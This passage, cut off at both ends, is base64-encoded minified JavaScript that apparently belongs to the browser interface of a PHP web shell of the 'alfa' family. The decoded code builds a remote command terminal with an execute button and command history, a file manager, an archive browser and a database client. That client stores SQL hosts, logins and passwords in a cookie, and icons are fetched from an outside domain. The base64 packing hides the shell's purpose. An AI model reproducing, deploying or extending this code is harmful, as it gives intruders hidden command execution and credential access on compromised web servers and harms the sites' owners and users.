Q9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiBcdC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJ0aXRsZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoIm9wdGlvbnNfd2luZG93Iil9ZnVuY3Rpb24gdGVybWluYWxUYWJDb250cm9sbGVyKGUpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWIuYWN0aXZlLXRlcm1pbmFsLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoImFjdGl2ZS10ZXJtaW5hbC10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLWNvbnRlbnQuYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKSwkKHQpLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtaW5wdXQiKS5mb2N1cygpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGZpbGVzbWFuVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuYWpheGFyZWEuZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi10YWItYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7YWxmYV9jdXJyZW50X2ZtX2lkPXQsZS5jbGFzc0xpc3QuYWRkKCJmaWxlc21hbi10YWItYWN0aXZlIiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLCQoImZpbGVzbWFuX2hvbGRlcl8iK3QpLmNsYXNzTGlzdC50b2dnbGUoImZpbGVzbWFuLWFjdGl2ZS1jb250ZW50Iik7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKGEpLGQubWYuYy52YWx1ZT1hfWZ1bmN0aW9uIGRiVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLWNvbnRlbnQuc3FsLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtdGFiIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50IiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKX1mdW5jdGlvbiBlZGl0b3JUYWJDb250cm9sbGVyKGUsdCl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGE9bnVsbDt2b2lkIDA9PT10P2E9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpOihhPWUsZT0kKCJ0YWJfIithKSk7dmFyIGk9ZWRpdG9yX2ZpbGVzWyJmaWxlXyIrYS5yZXBsYWNlKCJlZGl0b3Jfc291cmNlXyIsIiIpXTtpZih2b2lkIDAhPT1pJiYoZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXBhdGgiKS5pbm5lckhUTUw9KGkucHdkKyIvIitpLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKSxudWxsPT1hKXJldHVybiExOyQoYSkuY2xhc3NMaXN0LnRvZ2dsZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpfWZ1bmN0aW9uIGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoZSl7dmFyIHQ9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyItbWluaW1pemVkIC5vcHRpb25zX21pbl9iYWRnZSIpO2lmKG51bGwhPXQpe3ZhciBhPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrZSsiIC50YWItaXMtZG9uZSIpLmxlbmd0aDt0LmlubmVySFRNTD1hLHQuc3R5bGUudmlzaWJpbGl0eT1hPjA/InZpc2libGUiOiJoaWRkZW4ifX1mdW5jdGlvbiBhbGZhT3BlblBocFRlcm1pbmFsKGUpe2lmKHBocF90ZW1yaW5hbF91c2luZ19jZ2kmJnZvaWQgMD09PWUpc2hvd0VkaXRvcigiY2dpbG9hZGVyIik7ZWxzZXskKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsJCgiY2dpbG9hZGVyIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjU3KSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5iYWNrZ3JvdW5kPSJyZ2JhKDAsIDAsIDAsIDAuODEpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmJvcmRlcj0iMXB4IHNvbGlkIHJnYigzMCwgODYsIDExNSkiLCQoImNnaWZyYW1lIikuc3R5bGUuaGVpZ2h0PSI5MCUiLCQoImNnaWZyYW1lIikuc3R5bGUucGFkZGluZz0iM3B4IixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lsb2FkZXIgLm9wdC10aXRsZSIpLmlubmVySFRNTD0iVGVybWluYWwiO3ZhciB0PSIiLGE9IiIsaT0idGVybWluYWxfaWRfIitnZXRSYW5kb20oMTApO3ZvaWQgMD09PWUmJih0PSIgYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiLGE9IiBhY3RpdmUtdGVybWluYWwtdGFiIiksZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGRpdiBpZD0iJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Jyt0KyciPjxkaXYgY2xhc3M9InBocC10ZXJtaW5hbC1vdXRwdXQiPjxkaXY+PGJ1dHRvbiBjbGFzcz0idGVybWluYWwtYnRuLWZvbnRjdGwiIG9uQ2xpY2s9ImNoYW5nZVRlcm1pbmFsRm9udFNpemUoXCcnK2krJ1wnLDEpOyI+KzwvYnV0dG9uPjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKyInLDApO1wiPi08L2J1dHRvbj48aW5wdXQgb25jaGFuZ2U9XCJhbGZhVGVybWluYWxDaGFuZ2Vjb2xvcih0aGlzLCciK2krJ1wnKTsiIHN0eWxlPSJoZWlnaHQ6IDE4cHg7YmFja2dyb3VuZDogI2RkZTJlMjsiIHR5cGU9ImNvbG9yIj48L2Rpdj48cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJib3JkZXI6dW5zZXQ7aGVpZ2h0OiA5MCU7Ij48L3ByZT48L2Rpdj48ZGl2Pjxmb3JtIHRlcm1faWQ9IicraSsnIiBvblN1Ym1pdD0iYWxmYUV4ZWNUZXJtaW5hbCh0aGlzKTt0aGlzLmMudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7IiBhdXRvY29tcGxldGU9Im9mZiIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bzt3aGl0ZS1zcGFjZTogbm93cmFwOyI+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO2NvbG9yOiM0ZmJlYzM7bWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXJpZ2h0OjVweDsiPkNXRDp+IyA8L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7Y29sb3I6IzQyZWM0MjsiIGNsYXNzPSJwaHAtdGVybWluYWwtY3VycmVudC1kaXIiPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBmZjA4O2ZvbnQtc2l6ZTogMjVweDsiPiQgPC9zcGFuPjxpbnB1dCBzdHlsZT0icGFkZGluZzogOHB4O2ZvbnQtc2l6ZTogMjBweDt3aWR0aDogNjclO2JvcmRlcjogMXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZy1yaWdodDozNXB4OyIgb25rZXl1cD0iYWxmYVdhbGtJblRlcm1pbmFsSGlzdG9yeSh0aGlzLGV2ZW50LFwnJytpKydcJyk7IiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9InBocC10ZXJtaW5hbC1pbnB1dCIgdHlwZT0idGV4dCIgbmFtZT0iYyIgb25mb2N1cz0iY2xvc2VIaXN0b3J5Q21kKFwnZnJlZVwnLHRoaXMpOyIgcGxhY2Vob2xkZXI9ImxzIC1sYSI+PGJ1dHRvbiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0iY29sb3I6ICMyNzk3OUI7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiPkV4ZUN1dGU8YnV0dG9uIHRlcm1faWQ9IicraSsnIiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0iY29sb3I6ICMyNzk3OUI7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiIG9uQ2xpY2s9ImFsZmFFeGVjVGVybWluYWwodGhpcywgMSk7cmV0dXJuIGZhbHNlOyI+Q3VycmVudCBEaXI8L2J1dHRvbj48ZGl2IGNsYXNzPSJjbWQtaGlzdG9yeS1ob2xkZXIiPjxkaXYgY2xhc3M9ImNvbW1hbmRzLWhpc3RvcnktaGVhZGVyIj5IaXN0b3J5PC9kaXY+PHNwYW4gb25DbGljaz0iY2xlYXJUZXJtaW5hbEhpc3RvcnkoKTsiIHN0eWxlPSJib3JkZXItYm90dG9tOiAxcHggc29saWQ7bWFyZ2luLWJvdHRvbTogNXB4O2Rpc3BsYXk6IGlubGluZS1ibG9jaztwYWRkaW5nOiA1cHg7Y29sb3I6ICM1OWRlNjk7Y3Vyc29yOiBwb2ludGVyOyI+Q2xlYXIgaGlzdG9yeTwvc3Bhbj48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bztoZWlnaHQ6IDgyJTsiIGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5Ij48L2Rpdj48L2Rpdj48ZGl2IHRlcm1faWQ9IicraSsnIiBjbGFzcz0iY21kLWhpc3RvcnktaWNvbiIgbW9kZT0iIiBvbmNsaWNrPSJjbG9zZUhpc3RvcnlDbWQodGhpcyk7Ij48aW1nIHN0eWxlPSJ3aWR0aDoyN3B4OyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGltZTIuc3ZnIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybWluYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9ImFsZmFPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGNsYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIgLmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiBjbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGFsZmFUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBhbGZhV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YWx1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1hbGZhR2V0VGVybWluYWxIaXN0b3J5KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXk9MDticmVhaztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBhbGZhQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXVlcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGFsZmFfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGFsZmFPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2FsZmFiNjQoIm9wZW5fYXJjaGl2ZV9kaXIiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFsZmExPSIrYWxmYWI2NCh0KSsiJmFsZmEyPSIrYWxmYWI2NChpKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVfYmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWYoMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIGJhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9ImFsZmFPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2ZV9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGFsZmFEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlKCl9KSxhbGZhQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gYWxmYUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIikudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gYWxmYVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZihyb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2YXIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4iK3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnYWxmYUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjwvdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50